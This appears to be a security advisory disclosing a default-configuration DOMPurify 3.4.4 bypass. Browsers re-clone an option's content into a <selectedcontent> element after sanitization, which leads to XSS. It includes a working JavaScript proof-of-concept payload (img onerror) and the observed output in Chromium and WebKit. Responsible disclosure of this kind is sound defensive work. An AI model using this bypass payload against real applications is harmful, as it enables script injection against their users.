Summary

DOMPurify 3.4.4 allows selectedcontent by default, allowing a chain in which browsers "re-clone" an XSS payload after sanitization, effectively bypassing DOMPurify.

Details

The chain is as follows:

1. The browser parses the input and creates a <selectedcontent> clone from the selected <option>
2. DOMPurify walks and sanitizes that generated clone.
3. DOMPurify reaches the original <option> and removes selected=javascript:1
4. The browser refreshes the <selectedcontent> clone from the original option's content.
5. The refreshed clone is in a subtree DOMPurify already walked, which DOMPurify doesn't go back to sanitize
6. The returned string contains unsanitized markup inside <selectedcontent>.

PoC

const dirty =
  '<select><button><selectedcontent></selectedcontent></button>' +
  '<option selected=javascript:1>' +
  '<img src=x onerror=alert(1)>x' +
  '</option></select>';

const clean = DOMPurify.sanitize(dirty);
console.log(clean);

document.body.innerHTML = clean;

Observed "sanitized" output in Chromium 148/WebKit 625:

<select><button><selectedcontent><img src="x" onerror="alert(1)">x</selectedcontent></button><option><img src="x">x</option></select>

After reinsertion, the browser updates the live DOM and strips the handler from the displayed clone, but the onerror has already fired:

<select><button><selectedcontent><img src="x">x</selectedcontent></button><option><img src="x">x</option></select>

Reproduced in Chromium and WebKit, but not Safari (not yet latest WebKit) or Firefox. Will likely change with browser support for selectedcontent.

Impact

This is a default-configuration DOMPurify sanitizer bypass resulting in XSS.

Applications are impacted if they sanitize attacker-controlled HTML with DOMPurify 3.4.4 using the string-input path and then insert the returned string into the page, for example with innerHTML.